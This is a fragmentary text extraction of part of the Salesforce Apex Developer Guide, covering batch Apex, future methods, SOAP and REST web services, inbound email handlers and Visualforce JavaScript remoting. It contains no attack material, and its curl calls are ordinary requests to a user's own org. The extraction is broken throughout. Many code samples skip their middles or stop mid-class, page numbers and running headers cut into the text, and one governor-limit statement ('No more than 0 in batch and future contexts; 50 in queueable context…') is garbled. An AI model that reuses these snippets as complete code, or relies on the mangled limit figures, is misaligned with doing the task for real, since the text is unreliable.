monitor queued jobs on the Apex Jobs page.
Status Description
Holding Job has been submitted and is held in the Apex flex queue until
system resources become available to queue the job for processing.
284
Apex Developer Guide Invoking Apex
Status Description
Queued Job is awaiting execution.
Preparing The start method of the job has been invoked. This status can
last a few minutes depending on the size of the batch of records.
For more information, see CronTrigger in the Object Reference for Salesforce.
285
Apex Developer Guide Invoking Apex
286
Apex Developer Guide Invoking Apex
To exclude accounts or invoices that were deleted but are still in the Recycle Bin, include isDeleted=false in the SOQL query
WHERE clause, as shown in these modified samples.
// Query for accounts that aren't in the Recycle Bin
String q = 'SELECT Industry FROM Account WHERE isDeleted=false LIMIT 10';
String e = 'Account';
String f = 'Industry';
String v = 'Consulting';
Id batchInstanceId = Database.executeBatch(new UpdateAccountFields(q,e,f,v), 5);
The following class uses batch Apex to reassign all accounts owned by a specific user to a different user.
public class OwnerReassignment implements Database.Batchable<sObject>{
String query;
String email;
Id toUserId;
Id fromUserId;
update accns;
}
public void finish(Database.BatchableContext bc){
Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
287
Apex Developer Guide Invoking Apex
Use this code to execute the OwnerReassignment class in the previous example.
OwnerReassignment reassign = new OwnerReassignment();
reassign.query = 'SELECT Id, Name, Ownerid FROM Account ' +
'WHERE ownerid=\'' + u.id + '\'';
reassign.email='[email protected]';
reassign.fromUserId = u;
reassign.toUserId = u2;
ID batchprocessid = Database.executeBatch(reassign);
This code calls the BatchDelete batch Apex class to delete old documents. The specified query selects documents to delete for all
documents that are in a specified folder and that are older than a specified date. Next, the sample invokes the batch job.
BatchDelete BDel = new BatchDelete();
Datetime d = Datetime.now();
d = d.addDays(-1);
// Replace this value with the folder ID that contains
// the documents to delete.
String folderId = '00lD000000116lD';
// Query for selecting the documents to delete
BDel.query = 'SELECT Id FROM Document WHERE FolderId=\'' + folderId +
'\' AND CreatedDate < '+d.format('yyyy-MM-dd')+'T'+
d.format('HH:mm')+':00.000Z';
// Invoke the batch job.
ID batchprocessid = Database.executeBatch(BDel);
System.debug('Returned batch process ID: ' + batchProcessId);
Callouts include HTTP requests and methods defined with the webservice keyword.
288
Apex Developer Guide Invoking Apex
In addition, you can specify a variable to access the initial state of the class. You can use this variable to share the initial state with all
instances of the Database.Batchable methods. For example:
// Implement the interface using a list of Account sObjects
// Note that the initialState variable is declared as final
289
Apex Developer Guide Invoking Apex
return Database.getQueryLocator(query);
}
}
}
The initialState stores only the initial state of the class. You can’t use it to pass information between instances of the class during
execution of the batch job. For example, if you change the value of initialState in execute, the second chunk of processed
records can’t access the new value. Only the initial value is accessible.
Note: Asynchronous calls, such as @future or executeBatch, called in a startTest, stopTest block, don’t count
against your limits for the number of queued jobs.
The following example tests the OwnerReassignment class.
public static testMethod void testBatch() {
user u = [SELECT ID, UserName FROM User
WHERE username='[email protected]'];
user u2 = [SELECT ID, UserName FROM User
WHERE username='[email protected]'];
String u2id = u2.id;
// Create 200 test accounts - this simulates one execute.
// Important - the Salesforce test framework only allows you to
// test one execute.
290
Apex Developer Guide Invoking Apex
insert accns;
Test.StartTest();
OwnerReassignment reassign = new OwnerReassignment();
reassign.query='SELECT ID, Name, Ownerid ' +
'FROM Account ' +
'WHERE OwnerId=\'' + u.Id + '\'' +
' LIMIT 200';
reassign.email='[email protected]';
reassign.fromUserId = u.Id;
reassign.toUserId = u2.Id;
ID batchprocessid = Database.executeBatch(reassign);
Test.StopTest();
System.AssertEquals(
database.countquery('SELECT COUNT()'
+' FROM Account WHERE OwnerId=\'' + u2.Id + '\''),
200);
}
}
291
Apex Developer Guide Invoking Apex
• A maximum of 50 million records can be returned in the Database.QueryLocator object. If more than 50 million records
are returned, the batch job is immediately terminated and marked as Failed.
• If the start method of the batch class returns a QueryLocator, the optional scope parameter of Database.executeBatch
can have a maximum value of 2,000. If set to a higher value, Salesforce chunks the records returned by the QueryLocator into smaller
batches of up to 2,000 records. If the start method of the batch class returns an iterable, the scope parameter value has no upper
limit. However, if you use a high number, you can run into other limits. The optimal scope size is a factor of 2000, for example, 100,
200, 400 and so on.
• If no size is specified with the optional scope parameter of Database.executeBatch, Salesforce chunks the records returned
by the start method into batches of 200 records. The system then passes each batch to the execute method. Apex governor
limits are reset for each execution of execute.
• The start, execute, and finish methods can implement up to 100 callouts each.
• Only one batch Apex job's start method can run at a time in an org. Batch jobs that haven’t started yet remain in the queue until
they're started. This limit doesn’t cause any batch job to fail and execute methods of batch Apex jobs still run in parallel if more
than one job is running.
• Enqueued batch Apex jobs are processed when system resources become available. There’s no guarantee on how long it takes to
start, execute, and finish the queued jobs. You can use the Apex flex queue to prioritize jobs.
• Using FOR UPDATE in SOQL queries to lock records during update isn’t applicable to Batch Apex.
• Cursors and related query results are available for 2 days, including results in nested queries. For more information, see API Query
Cursor Limits.
292
Apex Developer Guide Invoking Apex
• For each 10,000 AsyncApexJob records, Apex creates an AsyncApexJob record of type BatchApexWorker for internal
use. When querying for all AsyncApexJob records, we recommend that you filter out records of type BatchApexWorker
using the JobType field. Otherwise, the query returns one more record for every 10,000 AsyncApexJob records. For more
information about the AsyncApexJob object, see AsyncApexJob in the Object Reference for Salesforce.
• All implemented Database.Batchable interface methods must be defined as public or global.
• For a sharing recalculation, we recommend that the execute method delete and then re-create all Apex managed sharing for
the records in the batch. This process ensures that sharing is accurate and complete.
• Batch jobs queued before a Salesforce service maintenance downtime remain in the queue. After service downtime ends and when
system resources become available, the queued batch jobs are executed. If a batch job is running when downtime occurred, the
batch execution is rolled back and restarted after the service comes back up. Because execute methods can therefore run multiple
times, any non-transactional operations, such as callouts, can be retried. All non-transactional operations must follow Idempotent
Design Considerations to maintain data integrity.
• Minimize the number of batches, if possible. Salesforce uses a queue-based framework to handle asynchronous processes from such
sources as future methods and batch Apex. This queue is used to balance request workload across organizations. If more than 2,000
unprocessed requests from a single organization are in the queue, any additional requests from the same organization are delayed
while the queue handles requests from other organizations.
• Salesforce recommends that you design your asynchronous Apex jobs to handle variations in processing time. For example, to
handle potential processing overlaps, consider chaining batch jobs instead of scheduling jobs at fixed intervals.
• Ensure that batch jobs execute as fast as possible. To ensure fast execution of batch jobs, minimize Web service callout times and
tune the queries used in your batch Apex code. The longer the batch job executes, the more likely other queued jobs are delayed
when many jobs are in the queue.
• If you use batch Apex with Database.QueryLocator to access external objects via an OData adapter for Salesforce Connect:
– Enable Request Row Counts on the external data source, and each response from the external system must include the total
row count of the result set.
– We recommend enabling Server-Driven Pagination on the external data source and having the external system determine page
sizes and batch boundaries for large result sets. Typically, server-driven paging can adjust batch boundaries to accommodate
changing datasets more effectively than client-driven paging.
When Server-Driven Pagination is disabled on the external data source, the OData adapter controls the paging behavior
(client-driven). If external object records are added to the external system while a job runs, other records can be processed twice.
If external object records are deleted from the external system while a job runs, other records can be skipped.
– When Server-Driven Pagination is enabled on the external data source, the batch size at runtime is the smaller of these two sizes:
• Batch size specified in the scope parameter of Database.executeBatch. The default is 200 records.
• Page size returned by the external system. We recommend that you set up your external system to return page sizes of 200
or fewer records.
• Batch Apex jobs run faster when the start method returns a QueryLocator object that doesn't include related records via
a subquery. Avoiding relationship subqueries in a QueryLocator allows batch jobs to run using a faster, chunked implementation.
If the start method returns an iterable or a QueryLocator object with a relationship subquery, the batch job uses a slower,
non-chunking, implementation. For example, if this query is used in the QueryLocator, the batch job uses a slower implementation
because of the relationship subquery:
SELECT Id, (SELECT id FROM Contacts) FROM Account
A better strategy is to perform the subquery separately, from within the execute method, which allows the batch job to run
using the faster, chunking implementation.
293
Apex Developer Guide Invoking Apex
• To implement record locking as part of the batch job, you can requery records inside the execute() method, using FOR UPDATE.
Requerying records in this manner ensures that conflicting updates are not overwritten by DML in the batch job. To requery records,
simply select the Id field in the batch job's main query locator.
• The Salesforce Platform's flow control mechanism and fair-usage algorithm can cause a delay in running batch jobs. For more
information, see Asynchronous Apex and the Batch Apex Fair Usage Algorithm diagram on the Salesforce Architects site.
SEE ALSO:
Apex Reference Guide: Batchable Interface
Apex Reference Guide:FlexQueue Class
Apex Reference Guide: Test.enqueueBatchJobs()
Apex Reference Guide: Test.getFlexQueueOrder()
Salesforce Help: Client-driven and Server-driven Paging for Salesforce Connect—OData 2.0 and 4.0 Adapters
Salesforce Help: Define an External Data Source for Salesforce Connect—OData 2.0 or 4.0 Adapter
294
Apex Developer Guide Invoking Apex
Example: This example creates a trigger to determine which accounts failed in the batch transaction. Custom field Dirty__c
indicates that the account was one of a failing batch and ExceptionType__c indicates the exception that was encountered.
JobScope and ExceptionType are fields in the BatchApexErrorEvent object.
trigger MarkDirtyIfFail on BatchApexErrorEvent (after insert) {
Set<Id> asyncApexJobIds = new Set<Id>();
for(BatchApexErrorEvent evt:Trigger.new){
asyncApexJobIds.add(evt.AsyncApexJobId);
}
295
Apex Developer Guide Invoking Apex
Note: If further platform events are published by downstream processes, add Test.getEventBus().deliver(); to
deliver the event messages for each process. For example, if a platform event trigger, which processes the event from the Apex
job, publishes another platform event, add a Test.getEventBus().deliver(); statement to deliver the event message.
SEE ALSO:
Platform Events Developer Guide: Deliver Test Event Messages
Platform Events Developer Guide: Event and Event Bus Properties in Test Context
Future Methods
A future method runs in the background, asynchronously. You can call a future method for executing long-running operations, such as
callouts to external Web services or any operation you’d like to run in its own thread, on its own time. You can also use future methods
to isolate DML operations on different sObject types to prevent the mixed DML error. Each future method is queued and executes when
system resources become available. That way, the execution of your code doesn’t have to wait for the completion of a long-running
operation. A benefit of using future methods is that some governor limits are higher, such as SOQL query limits and heap size limits.
To define a future method, simply annotate it with the future annotation, as follows.
global class FutureClass
{
@future
public static void myFutureMethod()
{
// Perform some operations
}
}
Methods with the future annotation must be static methods, and can only return a void type. The specified parameters must be
primitive data types, arrays of primitive data types, or collections of primitive data types. Methods with the future annotation can’t
take sObjects or objects as arguments.
The reason why sObjects can’t be passed as arguments to future methods is because the sObject can change between the time you call
the method and the time it executes. In this case, the future method gets the old sObject values and can overwrite them. To work with
sObjects that already exist in the database, pass the sObject ID instead (or collection of IDs) and use the ID to perform a query for the
most up-to-date record. The following example shows how to do so with a list of IDs.
global class FutureMethodRecordProcessing
{
@future
public static void processRecords(List<ID> recordIds)
{
// Get those records based on the IDs
List<Account> accts = [SELECT Name FROM Account WHERE Id IN :recordIds];
// Process records
}
}
The following is a skeletal example of a future method that makes a callout to an external service. Notice that the annotation takes an
extra parameter (callout=true) to indicate that callouts are allowed. To learn more about callouts, see Invoking Callouts Using
Apex.
global class FutureMethodExample
{
296
Apex Developer Guide Invoking Apex
@future(callout=true)
public static void getStockQuotes(String acctName)
{
// Perform a callout to an external service
}
Inserting a user with a non-null role must be done in a separate thread from DML operations on other sObjects. In this example, the
future method, insertUserWithRole, which is defined in the Util class, performs the insertion of a user with the COO role.
This future method requires the COO role to be defined in the organization. The useFutureMethod method in MixedDMLFuture
inserts an account and calls the future method, insertUserWithRole.
This Util class contains the future method for inserting a user with a non-null role.
public class Util {
@future
public static void insertUserWithRole(
String uname, String al, String em, String lname) {
This class contains the main method that calls the future method that was defined previously.
public class MixedDMLFuture {
public static void useFutureMethod() {
// First DML operation
Account a = new Account(Name='Acme');
insert a;
You can invoke future methods the same way you invoke any other method. However, a future method can’t invoke another future
method.
Methods with the future annotation have the following limits:
297
Apex Developer Guide Invoking Apex
• No more than 0 in batch and future contexts; 50 in queueable context method calls per Apex invocation. Asynchronous calls, such
as @future or executeBatch, called in a startTest, stopTest block, don’t count against your limits for the number
of queued jobs.
Note: Having multiple future methods fan out from a queueable job isn’t recommended practice as it can rapidly add a large
number of future methods to the asynchronous queue. Request processing can be delayed and you can quickly hit the daily
maximum limit for asynchronous Apex method executions. See Future Method Performance Best Practices and Lightning
Platform Apex Limits.
• The maximum number of future method invocations per a 24-hour period is 250,000 or the number of user licenses in your
organization multiplied by 200, whichever is greater. This limit is for your entire org and is shared with all asynchronous Apex: Batch
Apex, Queueable Apex, scheduled Apex, and future methods. To check how many asynchronous Apex executions are available,
make a request to REST API limits resource. See List Organization Limits in the REST API Developer Guide. If the number of
asynchronous Apex executions needed by a job exceeds the available number that’s calculated using the 24-hour rolling limit, an
exception is thrown. For example, if your async job requires 10,000 method executions and the available 24-hour rolling limit is
9,500, you get AsyncApexExecutions Limit exceeded exception. The license types that count toward this limit include full Salesforce
and Salesforce Platform user licenses, App Subscription user licenses, Chatter Only users, Identity users, and Company Communities
users.
Note:
• Future jobs queued by a transaction aren’t processed if the transaction rolls back.
• Future method jobs queued before a Salesforce service maintenance downtime remain in the queue. After service downtime
ends and when system resources become available, the queued future method jobs are executed. If a future method was
running when downtime occurred, the future method execution is rolled back and restarted after the service comes back up.
298
Apex Developer Guide Invoking Apex
}
}
Tip:
• Apex SOAP web services allow an external application to invoke Apex methods through SOAP Web services. Apex callouts
enable Apex to invoke external web or HTTP services.
• Apex REST API exposes your Apex classes and methods as REST web services. See Exposing Apex Classes as REST Web Services.
Webservice Methods
Exposing Data with Webservice Methods
Considerations for Using the webservice Keyword
Overloading Web Service Methods
Webservice Methods
Apex class methods can be exposed as custom SOAP Web service calls. This allows an external application to invoke an Apex Web service
to perform an action in Salesforce. Use the webservice keyword to define these methods. For example:
global class MyWebService {
webservice static Id makeContact(String contactLastName, Account a) {
Contact c = new Contact(lastName = contactLastName, AccountId = a.Id);
insert c;
return c.id;
}
}
299
Apex Developer Guide Invoking Apex
A developer of an external application can integrate with an Apex class containing webservice methods by generating a WSDL for
the class. To generate a WSDL from an Apex class detail page:
1. In the application from Setup, enter “Apex Classes” in the Quick Find box, then select Apex Classes.
2. Click the name of a class that contains webservice methods.
3. Click Generate WSDL.
Warning: Apex class methods that are exposed through the API with the webservice keyword don't enforce object permissions
and field-level security by default. We recommend that you make use of the appropriate object or field describe result methods
to check the current user’s access level on the objects and fields that the webservice method is accessing. See DescribeSObjectResult
Class and DescribeFieldResult Class.
Also, sharing rules (record-level access) are enforced only when declaring a class with the with sharing keyword. This
requirement applies to all Apex classes, including to classes that contain webservice methods. To enforce sharing rules for webservice
methods, declare the class that contains these methods with the with sharing keyword. See Using the with sharing, without
sharing, and inherited sharing Keywords.
300
Apex Developer Guide Invoking Apex
• Use the webservice keyword with any member variables that you want to expose as part of a Web service. Do not mark these
member variables as static.
Considerations for calling Apex SOAP Web service methods:
• Salesforce denies access to Web service and executeanonymous requests from an AppExchange package that has
Restricted access.
• Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value
that is too long for the field.
• If a login call is made from the API for a user with an expired or temporary password, subsequent API calls to custom Apex SOAP
Web service methods aren't supported and result in the INVALID_OPERATION_WITH_EXPIRED_PASSWORD error. Reset the user's
password and make a call with an unexpired password to be able to call Apex Web service methods.
The following example shows a class with Web service member variables and a Web service method:
global class SpecialAccounts {
insert parent;
child.parentId = parent.Id;
insert child;
grandChild.parentId = child.Id;
insert grandChild;
301
Apex Developer Guide Invoking Apex
System.assert(acct != null);
}
}
You can invoke this Web service using AJAX. For more information, see Apex in AJAX on page 319.
Tip: Apex SOAP web services allow an external application to invoke Apex methods through SOAP web services. See Exposing
Apex Methods as SOAP Web Services.
Class Description
RestContext Class Contains the RestRequest and RestResponse objects.
response Represents an object used to pass data from an Apex RESTful Web
service method to an HTTP response.
302
Apex Developer Guide Invoking Apex
Governor Limits
Calls to Apex REST classes count against the organization's API governor limits. All standard Apex governor limits apply to Apex REST
classes. For example, the maximum request or response size is 6 MB for synchronous Apex or 12 MB for asynchronous Apex. For more
information, see Execution Governors and Limits.
Authentication
Apex REST supports these authentication mechanisms:
• OAuth 2.0
• Session ID
See Step Two: Set Up Authorization in the REST API Developer Guide.
Note: Apex REST doesn’t support XML serialization and deserialization of Connect in Apex objects. Apex REST does support JSON
serialization and deserialization of Connect in Apex objects. Also, some collection types, such as maps and lists, aren’t supported
with XML. See Request and Response Data Considerations for details.
Methods annotated with @HttpGet or @HttpDelete must have no parameters. This is because GET and DELETE requests have
no request body, so there's nothing to deserialize.
The @ReadOnly annotation supports the Apex REST annotations for all the HTTP requests: @HttpDelete, @HttpGet, @HttpPatch,
@HttpPost, and @HttpPut.
303
Apex Developer Guide Invoking Apex
A single Apex class annotated with @RestResource can't have multiple methods annotated with the same HTTP request method.
For example, the same class can't have two methods annotated with @HttpGet.
• If the Apex method has no parameters, Apex REST copies the HTTP request body into the RestRequest.requestBody
property. If the method has parameters, then Apex REST attempts to deserialize the data into those parameters and the data won't
be deserialized into the RestRequest.requestBody property.
• Apex REST uses similar serialization logic for the response. An Apex method with a non-void return type has the return value serialized
into RestResponse.responseBody. If the return type includes fields with null values, those fields aren’t serialized into the
response body.
• Apex REST methods can be used in managed and unmanaged packages. When calling Apex REST methods that are contained in a
managed package, you must include the managed package namespace in the REST call URL. For example, if the class is contained
in a managed package namespace called packageNamespace and the Apex REST methods use a URL mapping of
/MyMethod/*, the URL used via REST to call these methods would be of the form
https://instance.salesforce.com/services/apexrest/packageNamespace/MyMethod/. For more
information about managed packages, see What is a Package?.
• If a login call is made from the API for a user with an expired or temporary password, subsequent API calls to custom Apex REST Web
service methods aren't supported and result in the MUTUAL_AUTHENTICATION_FAILED error. Reset the user's password and make
a call with an unexpired password to be able to call Apex Web service methods.
• If the heap limit is exceeded in the process of serialization, an HTTP 200 code is returned and the error {"status":"some
error occurred"} is appended to the partial JSON response. Returning a collection of sObjects from a REST method involves
buffering the JSON serialized form of each sObject. Heap and CPU limits may not be encountered until after the HTTP response
header and initial data has started streaming back to the client. To gain control of the statusCode and the responseBody, use
a RestResponse instead of directly returning sObjects.
User-Defined Types
You can use user-defined types for parameters in your Apex REST methods. Apex REST deserializes request data into public, private,
or global class member variables of the user-defined type, unless the variable is declared as static or transient. For example,
an Apex REST method that contains a user-defined type parameter might look like the following:
@RestResource(urlMapping='/user_defined_type_example/*')
global with sharing class MyOwnTypeRestResource {
@HttpPost
global static MyUserDefinedClass echoMyType(MyUserDefinedClass ic) {
return ic;
}
304
Apex Developer Guide Invoking Apex
Valid JSON and XML request data for this method would look like:
{
"ic" : {
"string1" : "value for string1",
"string2" : "value for string2",
"privateString" : "value for privateString"
}
}
<request>
<ic>
<string1>value for string1</string1>
<string2>value for string2</string2>
<privateString>value for privateString</privateString>
</ic>
</request>
The public, private, or global class member variables must be types allowed by Apex REST:
• Apex primitives (excluding sObject and Blob).
• sObjects
• Lists or maps of Apex primitives or sObjects (only maps with String keys are supported).
When creating user-defined types used as Apex REST method parameters, avoid introducing any class member variable definitions that
result in cycles (definitions that depend on each other) at run time in your user-defined types. Here's a simple example:
@RestResource(urlMapping='/CycleExample/*')
global with sharing class ApexRESTCycleExample {
@HttpGet
global static MyUserDef1 doCycleTest() {
MyUserDef1 def1 = new MyUserDef1();
MyUserDef2 def2 = new MyUserDef2();
def1.userDef2 = def2;
def2.userDef1 = def1;
return def1;
}
305
Apex Developer Guide Invoking Apex
The code in the previous example compiles, but at run time when a request is made, Apex REST detects a cycle between instances of
def1 and def2, and generates an HTTP 400 status code error response.
{
"s1" : "my first string",
"i1" : 123,
"s2" : "my second string",
"b1" : false
}
<request>
<s1>my first string</s1>
<i1>123</i1>
<s2>my second string</s2>
<b1>false</b1>
</request>
• The URL patterns URLpattern and URLpattern/* match the same URL. If one class has a urlMapping of URLpattern
and another class has a urlMapping of URLpattern/*, a REST request for this URL pattern resolves to the class that was saved
first.
• Some parameter and return types can't be used with XML as the Content-Type for the request or as the accepted format for the
response, and hence, methods with these parameter or return types can't be used with XML. Lists, maps, or collections of collections,
for example, List<List<String>> aren't supported. However, you can use these types with JSON. If the parameter list
includes a type that's invalid for XML and XML is sent, an HTTP 415 status code is returned. If the return type is a type that's invalid
for XML and XML is the requested response format, an HTTP 406 status code is returned.
• For request data in either JSON or XML, valid values for Boolean parameters are: true, false (both are treated as case-insensitive),
1 and 0 (the numeric values, not strings of “1” or “0”). Any other values for Boolean parameters result in an error.
• If the JSON or XML request data contains multiple parameters of the same name, this results in an HTTP 400 status code error response.
For example, if your method specifies an input parameter named x, the following JSON request data results in an error:
{
"x" : "value1",
"x" : "value2"
}
Similarly, for user-defined types, if the request data includes data for the same user-defined type member variable multiple times,
this results in an error. For example, given this Apex REST method and user-defined type:
@RestResource(urlMapping='/DuplicateParamsExample/*')
global with sharing class ApexRESTDuplicateParamsExample {
306
Apex Developer Guide Invoking Apex
@HttpPost
global static MyUserDef1 doDuplicateParamsTest(MyUserDef1 def) {
return def;
}
• If you must specify a null value for one of your parameters in your request data, you can either omit the parameter entirely or specify
a null value. In JSON, you can specify null as the value. In XML, you must use the
http://www.w3.org/2001/XMLSchema-instance namespace with a nil value.
• For XML request data, you must specify an XML namespace that references any Apex namespace your method uses. So, for example,
if you define an Apex REST method such as:
@RestResource(urlMapping='/namespaceExample/*')
global class MyNamespaceTest {
@HttpPost
global static MyUDT echoTest(MyUDT def, String extraString) {
return def;
}
307
Apex Developer Guide Invoking Apex
PATCH 200 The request was successful and the return type is non-void.
PATCH 204 The request was successful and the return type is void.
DELETE, GET, PATCH, POST, PUT 400 An unhandled user exception occurred.
DELETE, GET, PATCH, POST, PUT 403 You don't have access to the specified Apex class.
DELETE, GET, PATCH, POST, PUT 404 The URL is unmapped in an existing @RestResource
annotation.
DELETE, GET, PATCH, POST, PUT 404 The URL extension is unsupported.
DELETE, GET, PATCH, POST, PUT 404 The Apex class with the specified namespace couldn't be found.
DELETE, GET, PATCH, POST, PUT 405 The request method doesn't have a corresponding Apex method.
DELETE, GET, PATCH, POST, PUT 406 The Content-Type property in the header was set to a value other
than JSON or XML.
DELETE, GET, PATCH, POST, PUT 406 The header specified in the HTTP request isn’t supported.
GET, PATCH, POST, PUT 406 The XML return type specified for format is unsupported.
DELETE, GET, PATCH, POST, PUT 415 The XML parameter type is unsupported.
DELETE, GET, PATCH, POST, PUT 415 The Content-Header Type specified in the HTTP request header
is unsupported.
DELETE, GET, PATCH, POST, PUT 500 An unhandled Apex exception occurred.
SEE ALSO:
JSON Support
XML Support
308
Apex Developer Guide Invoking Apex
Also, sharing rules (record-level access) are enforced only when declaring a class with the with sharing keyword. This requirement
applies to all Apex classes, including to classes that are exposed through Apex REST API. To enforce sharing rules for Apex REST API
methods, declare the class that contains these methods with the with sharing keyword. See Using the with sharing or
without sharing Keywords.
SEE ALSO:
Apex Security and Sharing
@HttpDelete
global static void doDelete() {
RestRequest req = RestContext.request;
RestResponse res = RestContext.response;
String accountId = req.requestURI.substring(req.requestURI.lastIndexOf('/')+1);
@HttpGet
global static Account doGet() {
RestRequest req = RestContext.request;
RestResponse res = RestContext.response;
String accountId = req.requestURI.substring(req.requestURI.lastIndexOf('/')+1);
Account result = [SELECT Id, Name, Phone, Website FROM Account WHERE Id =
:accountId];
return result;
}
309
Apex Developer Guide Invoking Apex
@HttpPost
global static String doPost(String name,
String phone, String website) {
Account account = new Account();
account.Name = name;
account.phone = phone;
account.website = website;
insert account;
return account.Id;
}
}
2. To call the doGet method from a client, open a command-line window and execute the following cURL command to retrieve
an account by ID:
curl -H "Authorization: Bearer sessionId"
"https://instance.salesforce.com/services/apexrest/Account/accountId"
• Replace sessionId with the <sessionId> element that you noted in the login response.
• Replace instance with your <serverUrl> element.
• Replace accountId with the ID of an account which exists in your organization.
After calling the doGet method, Salesforce returns a JSON response with data such as the following:
{
"attributes" :
{
"type" : "Account",
"url" : "/services/data/v22.0/sobjects/Account/accountId"
},
"Id" : "accountId",
"Name" : "Acme"
Note: The cURL examples in this section don't use a namespaced Apex class so you don’t see the namespace in the URL.
3. Create a file called account.txt to contain the data for the account you will create in the next step.
{
"name" : "Wingo Ducks",
"phone" : "707-555-1234",
"website" : "www.wingo.ca.us"
}
4. Using a command-line window, execute the following cURL command to create a new account:
curl -H "Authorization: Bearer sessionId" -H "Content-Type: application/json" -d
@account.txt "https://instance.salesforce.com/services/apexrest/Account/"
After calling the doPost method, Salesforce returns a response with data such as the following:
"accountId"
The accountId is the ID of the account you just created with the POST request.
310
Apex Developer Guide Invoking Apex
5. Using a command-line window, execute the following cURL command to delete an account by specifying the ID:
curl —X DELETE —H "Authorization: Bearer sessionId"
"https://instance.salesforce.com/services/apexrest/Account/accountId"
@RestResource(urlMapping='/CaseManagement/v1/*')
global with sharing class CaseMgmtService
{
@HttpPost
global static String attachPic(){
RestRequest req = RestContext.request;
RestResponse res = Restcontext.response;
Id caseId = req.requestURI.substring(req.requestURI.lastIndexOf('/')+1);
Blob picture = req.requestBody;
Attachment a = new Attachment (ParentId = caseId,
Body = picture,
ContentType = 'image/jpg',
Name = 'VehiclePicture');
insert a;
return a.Id;
}
}
2. Open a command-line window and execute the following cURL command to upload the attachment to a case:
curl -H "Authorization: Bearer sessionId" -H "X-PrettyPrint: 1" -H "Content-Type:
image/jpeg" --data-binary @file
"https://MyDomainName.my.salesforce.com/services/apexrest/CaseManagement/v1/caseId"
• Replace sessionId with the <sessionId> element that you noted in the login response.
• Replace MyDomainName with the My Domain name for your org.
• Replace caseId with the ID of the case you want to add the attachment to.
• Replace file with the path and file name of the file you want to attach.
Your command should look something like this (with the sessionId replaced with your session ID and MyDomainName
replaced with the My Domain Name for your org):
Note: The cURL examples in this section don’t use a namespaced Apex class so you won’t see the namespace in the URL.
311
Apex Developer Guide Invoking Apex
The Apex class returns a JSON response that contains the attachment ID such as the following:
"00PD0000001y7BfMAI"
3. To verify that the attachment and the image were added to the case, navigate to Cases and select the All Open Cases view. Click
on the case and then scroll down to the Attachments related list. You should see the attachment you just created.
Note: Before deleting email services, you must delete all associated email service addresses.
312
Apex Developer Guide Invoking Apex
// Set the result to true. No need to send an email back to the user
// with an error message
313
Apex Developer Guide Invoking Apex
result.success = true;
Messaging.InboundEnvelope env ) {
// Create contact and lead lists to hold all the updated records.
List<Contact> lc = new List <contact>();
List<Lead> ll = new List <lead>();
// Convert the subject line to lower case so the program can match on lower case.
// Check the variable to see if the word "unsubscribe" was found in the subject
line.
Boolean unsubMe;
// Look for the word "unsubcribe" in the subject line.
// If it is found, return true; otherwise, return false.
unsubMe = mySubject.contains(s);
if (unsubMe == true) {
try {
314
Apex Developer Guide Invoking Apex
LIMIT 100]) {
try {
// Look up all leads matching the email address.
for (Lead l : [SELECT Id, Name, Email, HasOptedOutOfEmail
FROM Lead
WHERE Email = :env.fromAddress
AND isConverted = false
AND hasOptedOutOfEmail = false
WITH USER_MODE
LIMIT 100]) {
// Add all the leads to the list.
l.hasOptedOutOfEmail = true;
ll.add(l);
catch (System.QueryException e) {
System.debug('Lead Query Issue: ' + e);
}
@isTest
private class unsubscribeTest {
// The following test methods provide adequate code coverage
// for the unsubscribe email class.
// There are two methods, one that does the testing
315
Apex Developer Guide Invoking Apex
// Call the class and test it with the data in the testMethod.
unsubscribe unsubscribeObj = new unsubscribe();
unsubscribeObj.handleInboundEmail(email, env );
316
Apex Developer Guide Invoking Apex
// Call the class and test it with the data in the test method.
unsubscribe unsubscribeObj = new unsubscribe();
unsubscribeObj.handleInboundEmail(email, env );
// Assert that the Lead and Contact have been unsubscribed
Lead updatedLead = [Select Id, HasOptedOutOfEmail from Lead where Id = :l.Id];
Contact updatedContact = [Select Id, HasOptedOutOfEmail from Contact where Id =
:c.Id];
Assert.isTrue(l.HasOptedOutOfEmail);
Assert.isTrue(c.HasOptedOutOfEmail);
}
}
SEE ALSO:
Apex Reference Guide: InboundEmail Class
Apex Reference Guide: InboundEnvelope Class
Apex Reference Guide: InboundEmailResult Class
Visualforce Classes
In addition to giving developers the ability to add business logic to Salesforce system events such as button clicks and related record
updates, Apex can also be used to provide custom logic for Visualforce pages through custom Visualforce controllers and controller
extensions.
• A custom controller is a class written in Apex that implements all of a page's logic, without leveraging a standard controller. If you
use a custom controller, you can define new navigation elements or behaviors, but you must also reimplement any functionality
that was already provided in a standard controller.
Like other Apex classes, custom controllers execute entirely in system mode, in which the object and field-level permissions of the
current user are ignored. You can specify whether a user can execute methods in a custom controller based on the user's profile.
• A controller extension is a class written in Apex that adds to or overrides behavior in a standard or custom controller. Extensions
allow you to leverage the functionality of another controller while adding your own custom logic.
Because standard controllers execute in user mode, in which the permissions, field-level security, and sharing rules of the current
user are enforced, extending a standard controller allows you to build a Visualforce page that respects user permissions. Although
the extension class executes in system mode, the standard controller executes in user mode. As with custom controllers, you can
specify whether a user can execute methods in a controller extension based on the user's profile.
You can use these system-supplied Apex classes when building custom Visualforce controllers and controller extensions.
• Action
• Dynamic Component
• IdeaStandardController
• IdeaStandardSetController
• KnowledgeArticleVersionStandardController
• Message
317
Apex Developer Guide Invoking Apex
• PageReference
• SelectOption
• StandardController
• StandardSetController
In addition to these classes, the transient keyword can be used when declaring methods in controllers and controller extensions.
For more information, see Using the transient Keyword on page 87.
For more information on Visualforce, see the Visualforce Developer's Guide.
JavaScript Remoting
Use JavaScript remoting in Visualforce to call methods in Apex controllers from JavaScript. Create pages with complex, dynamic behavior
that isn’t possible with the standard Visualforce AJAX components.
Features implemented using JavaScript remoting require three elements:
• The remote method invocation you add to the Visualforce page, written in JavaScript.
• The remote method definition in your Apex controller class. This method definition is written in Apex, but there are some important
differences from normal action methods.
• The response handler callback function you add to or include in your Visualforce page, written in JavaScript.
In your controller, your Apex method declaration is preceded with the @RemoteAction annotation like this:
@RemoteAction
global static String getItemId(String objectName) { ... }
Warning: Adding a controller or controller extension grants access to all @RemoteAction methods in that Apex class, even
if those methods aren’t used in the page. Anyone who can view the page can execute all @RemoteAction methods and
provide fake or malicious data to the controller.
Then, add the request as a JavaScript function call. A simple JavaScript remoting invocation takes the following form.
[namespace.]MyController.method(
[parameters...,]
callbackFunction,
[configuration]
